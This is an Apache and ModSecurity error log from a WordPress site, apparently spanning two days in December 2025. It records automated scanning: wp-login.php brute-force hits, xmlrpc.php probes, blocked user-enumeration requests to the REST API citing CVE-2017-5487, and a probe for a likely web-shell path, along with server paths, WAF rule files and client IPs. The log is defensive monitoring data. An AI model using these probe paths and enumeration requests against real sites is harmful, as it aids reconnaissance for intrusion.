[Sat Dec 20 21:46:13.029360 2025] [autoindex:error] [pid 33570:tid 33593] [client 85.203.34.1:52815] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:23.858333 2025] [autoindex:error] [pid 33570:tid 33578] [client 85.203.34.1:52815] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:24.186304 2025] [autoindex:error] [pid 33570:tid 33586] [client 85.203.34.1:52815] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:24.742292 2025] [autoindex:error] [pid 33570:tid 33576] [client 85.203.34.1:52815] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:25.078385 2025] [autoindex:error] [pid 33570:tid 33598] [client 85.203.34.1:52815] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:25.404303 2025] [autoindex:error] [pid 33570:tid 33595] [client 85.203.34.1:52815] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:33.142215 2025] [autoindex:error] [pid 33570:tid 33583] [client 85.203.34.1:52815] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:33.435214 2025] [autoindex:error] [pid 33570:tid 33593] [client 85.203.34.1:52815] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:33.758332 2025] [autoindex:error] [pid 33570:tid 33580] [client 85.203.34.1:52815] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:46:34.301899 2025] [autoindex:error] [pid 33570:tid 33578] [client 85.203.34.1:52815] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 22:19:42.132321 2025] [:error] [pid 33749:tid 33768] [client 160.250.186.155:52154] [client 160.250.186.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.250.186.155, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUawftoInXJnb96wei-hPQAAApE"]
[Sat Dec 20 22:25:42.014448 2025] [:error] [pid 14247:tid 14251] [client 106.227.49.113:44772] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aUax5iDv9TtKKdJQn9k8JAAAAQI"]
[Sat Dec 20 22:38:17.637184 2025] [:error] [pid 62124:tid 62138] [client 43.135.144.81:52662] [client 43.135.144.81] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aUa02Vs94zPA9ULQOjmvhgAAAAw"]
[Sat Dec 20 23:43:01.292802 2025] [:error] [pid 14247:tid 14269] [client 88.99.148.122:39100] [client 88.99.148.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.99.148.122, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUbEBSDv9TtKKdJQn9lFsAAAARQ"]
[Sun Dec 21 00:49:08.290673 2025] [:error] [pid 8751:tid 8775] [client 63.181.59.4:55836] [client 63.181.59.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.181.59.4, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUbThGvrnuGjNP7vtDQPIgAAABY"]
[Sun Dec 21 00:49:17.018812 2025] [:error] [pid 8641:tid 8686] [client 44.246.35.244:52162] [client 44.246.35.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 44.246.35.244, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUbTjXE703usYSvQGLRRPwAAAMg"]
[Sun Dec 21 00:49:19.799192 2025] [:error] [pid 8641:tid 8685] [client 44.246.35.244:52162] [client 44.246.35.244] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUbTj3E703usYSvQGLRRQwAAAMc"]
[Sun Dec 21 00:49:22.726088 2025] [:error] [pid 8641:tid 8705] [client 44.246.35.244:52162] [client 44.246.35.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 44.246.35.244, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUbTknE703usYSvQGLRRRwAAANY"]
[Sun Dec 21 00:49:22.728782 2025] [:error] [pid 8641:tid 8705] [client 44.246.35.244:52162] [client 44.246.35.244] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUbTknE703usYSvQGLRRRwAAANY"]
[Sun Dec 21 00:49:22.729970 2025] [:error] [pid 8641:tid 8705] [client 44.246.35.244:52162] [client 44.246.35.244] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||vetstars.com.au|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUbTknE703usYSvQGLRRRwAAANY"]
[Sun Dec 21 00:49:25.119747 2025] [:error] [pid 8640:tid 8666] [client 44.246.35.244:65425] [client 44.246.35.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 44.246.35.244, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUbTlfVclzlEWWhvYtlZnAAAAJA"]
[Sun Dec 21 01:14:02.563718 2025] [:error] [pid 8642:tid 8697] [client 45.88.186.197:59682] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUbZWiJkiik8k41igp0IpgAAAQA"]
[Sun Dec 21 01:14:03.375696 2025] [:error] [pid 22338:tid 22388] [client 45.88.186.197:59756] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUbZW3GYQSUt-opKpSINMgAAAEQ"]
[Sun Dec 21 01:14:04.180269 2025] [:error] [pid 8641:tid 8686] [client 45.88.186.197:59827] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUbZXHE703usYSvQGLRYUgAAAMg"]
[Sun Dec 21 01:14:04.985160 2025] [:error] [pid 8751:tid 8758] [client 45.88.186.197:59877] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUbZXGvrnuGjNP7vtDQYegAAAAU"]
[Sun Dec 21 01:14:05.800259 2025] [:error] [pid 22338:tid 22404] [client 45.88.186.197:59990] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUbZXXGYQSUt-opKpSINNAAAAFM"]
[Sun Dec 21 01:59:21.256659 2025] [:error] [pid 22338:tid 22392] [client 51.91.13.83:54740] [client 51.91.13.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.91.13.83, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUbj-XGYQSUt-opKpSIkMAAAAEg"]
[Sun Dec 21 02:34:59.035026 2025] [autoindex:error] [pid 8751:tid 8768] [client 31.171.130.132:50691] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:34:59.349837 2025] [autoindex:error] [pid 8751:tid 8759] [client 31.171.130.132:50691] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:34:59.686874 2025] [autoindex:error] [pid 8751:tid 8762] [client 31.171.130.132:50691] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:34:59.995100 2025] [autoindex:error] [pid 8751:tid 8764] [client 31.171.130.132:50691] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 03:08:17.655349 2025] [:error] [pid 8642:tid 8704] [client 146.190.155.17:45926] [client 146.190.155.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.190.155.17, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUb0ISJkiik8k41igp1XEwAAAQM"]
[Sun Dec 21 04:14:27.505246 2025] [:error] [pid 20674:tid 20679] [client 158.220.121.77:43378] [client 158.220.121.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.220.121.77, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUcDo9hSbhHOCK6TAw8AwwAAAAE"]
[Sun Dec 21 04:30:15.373051 2025] [:error] [pid 20676:tid 20739] [client 49.51.183.75:53250] [client 49.51.183.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUcHV6pSa967F4pOO5yqUgAAAIY"]
[Sun Dec 21 05:23:26.929042 2025] [:error] [pid 20760:tid 20771] [client 65.108.235.40:39812] [client 65.108.235.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.235.40, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUcTzuXEVvRTAtWo3gmeRwAAAMg"]
[Sun Dec 21 06:26:50.465312 2025] [:error] [pid 12191:tid 12195] [client 146.190.155.17:55398] [client 146.190.155.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.190.155.17, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUciqgM0m463UZmqdiD7OgAAAQI"]
[Sun Dec 21 08:42:44.086415 2025] [:error] [pid 20676:tid 20757] [client 217.154.99.219:54024] [client 217.154.99.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.154.99.219, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUdChKpSa967F4pOO5zphAAAAJg"]
[Sun Dec 21 09:48:05.630838 2025] [:error] [pid 20674:tid 20693] [client 185.243.11.191:50672] [client 185.243.11.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.243.11.191, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUdR1dhSbhHOCK6TAw9DrAAAAA8"]
[Sun Dec 21 10:53:03.075634 2025] [:error] [pid 16016:tid 16029] [client 66.70.178.228:59616] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.70.178.228, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUdhD8HQ_KQh3iINaCPthQAAAUs"]
[Sun Dec 21 10:58:49.042935 2025] [:error] [pid 12191:tid 12215] [client 182.42.104.32:49462] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aUdiaQM0m463UZmqdiA_iAAAARY"]
[Sun Dec 21 11:46:30.968597 2025] [:error] [pid 12191:tid 12196] [client 149.167.63.61:4062] [client 149.167.63.61] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "43.173.179.110_020cc857e5fdaff5ccb910bb73d2d2c996e54d2a"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2023/03/jessica.png"] [unique_id "aUdtlAM0m463UZmqdiBOEwAAAQM"], referer: https://vetstars.com.au/
[Sun Dec 21 11:55:40.207726 2025] [:error] [pid 20675:tid 20708] [client 139.162.53.182:51026] [client 139.162.53.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.162.53.182, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUdvvLyUvZnd3bHSR3ZTcwAAAEI"]
[Sun Dec 21 12:58:43.551377 2025] [:error] [pid 20674:tid 20690] [client 35.85.50.146:54764] [client 35.85.50.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.85.50.146, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUd-g9hSbhHOCK6TAw9prgAAAAw"]
[Sun Dec 21 13:58:30.995887 2025] [:error] [pid 20760:tid 20775] [client 149.56.78.226:57164] [client 149.56.78.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.56.78.226, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUeMhuXEVvRTAtWo3gke7wAAAMw"]
[Sun Dec 21 14:56:10.796678 2025] [:error] [pid 12191:tid 12198] [client 185.115.178.107:15537] [client 185.115.178.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.115.178.107, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUeaCgM0m463UZmqdiCCvQAAAQU"]
[Sun Dec 21 16:03:09.577628 2025] [:error] [pid 20760:tid 20771] [client 41.203.18.207:60206] [client 41.203.18.207] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.203.18.207, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUepveXEVvRTAtWo3gk_4wAAAMg"]
[Sun Dec 21 16:04:36.116747 2025] [:error] [pid 20674:tid 20682] [client 68.178.171.183:48142] [client 68.178.171.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.171.183, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUeqFNhSbhHOCK6TAw-oZgAAAAQ"]
[Sun Dec 21 17:39:37.765453 2025] [:error] [pid 20760:tid 20778] [client 34.139.75.251:50820] [client 34.139.75.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.139.75.251, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUfAWeXEVvRTAtWo3glgMwAAAM8"]
[Sun Dec 21 17:39:41.126518 2025] [:error] [pid 20760:tid 20777] [client 34.139.75.251:50820] [client 34.139.75.251] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUfAXeXEVvRTAtWo3glgNwAAAM4"]
[Sun Dec 21 17:39:44.221671 2025] [:error] [pid 20760:tid 20764] [client 34.139.75.251:50820] [client 34.139.75.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.139.75.251, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUfAYOXEVvRTAtWo3glgPQAAAME"]
[Sun Dec 21 18:04:43.578154 2025] [autoindex:error] [pid 59158:tid 59161] [client 83.171.248.79:50432] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Dec 21 19:51:25.427729 2025] [:error] [pid 59067:tid 59076] [client 34.23.12.71:56767] [client 34.23.12.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.23.12.71, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUffPctpsOP1NfIK_qI7zQAAAAI"]
[Sun Dec 21 19:51:28.568441 2025] [:error] [pid 59067:tid 59090] [client 34.23.12.71:56767] [client 34.23.12.71] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUffQMtpsOP1NfIK_qI71wAAABA"]
[Sun Dec 21 19:57:20.044712 2025] [:error] [pid 59158:tid 59182] [client 20.2.26.82:16400] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aUfgoI7NvyNF8ab5VgUargAAANY"]
[Sun Dec 21 19:57:20.341650 2025] [:error] [pid 59070:tid 59150] [client 20.2.26.82:16473] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aUfgoH3dhXne9KX1kgIfIAAAAJY"]
